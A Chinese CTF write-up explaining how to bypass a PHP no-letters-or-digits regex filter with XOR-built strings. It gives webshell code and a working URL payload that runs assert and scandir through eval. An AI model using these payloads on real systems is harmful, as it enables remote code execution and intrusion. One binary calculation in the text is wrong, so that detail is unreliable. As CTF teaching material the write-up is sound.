绕过preg_match("/[A-Za-z0-9]+/",$code)

前言

绕过不是英文字母,不是数字的验证。

preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] ) : int

preg_match()返回 pattern 的匹配次数。 它的值将是0次(不匹配)或1次,因为preg_match()在第一次匹配后 将会停止搜索。preg_match_all()不同于此,它会一直搜索subject 直到到达结尾。 如果发生错误preg_match()返回 FALSE。

正文

题目源码


error_reporting(0);
if(isset($_GET['code'])){
        $code=$_GET['code'];
            if(strlen($code)>40){
                    die("This is too Long.");
                    }
            if(preg_match("/[A-Za-z0-9]+/",$code)){
                    die("NO.");
                    }
            @eval($code);
}
else{
        highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>

可以看到这段代码中,要求而传入的参数不能带有数字和英文字母,

要是用非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符,并且字符串长度小于40。然后再利用 PHP允许动态函数执行的特点,拼接处一个函数,然后执行这个函数getshell

如何构造

在PHP中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到a-z中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。


    echo "A"^"?";
?>

绕过preg_match(

A的ASCII值是65,对应的二进制值是01000001

?的ASCII值是63,对应的二进制值是00111111

异或的二进制的值是10000000,对应的ASCII值是126,对应的字符串的值就是~了

以此可以构造webshell


@$_++; //$_=NULL=0  $_++=1
$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/"); //_POST
${$__}[!$_](${$__}[$_]);     // $_POST[0]($_POST[1]);
?>

为了节省字符长度,这里字符可以一起异或使用


var_dump("#./|{"^"|~`//"); //_POST
var_dump("`{{{"^"?<>/"); //_GET
?>

最终payload

?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=print_r(`scandir`('/'))

KSUmJf.png

参考文章

参考文章

你可能感兴趣的:(ctf)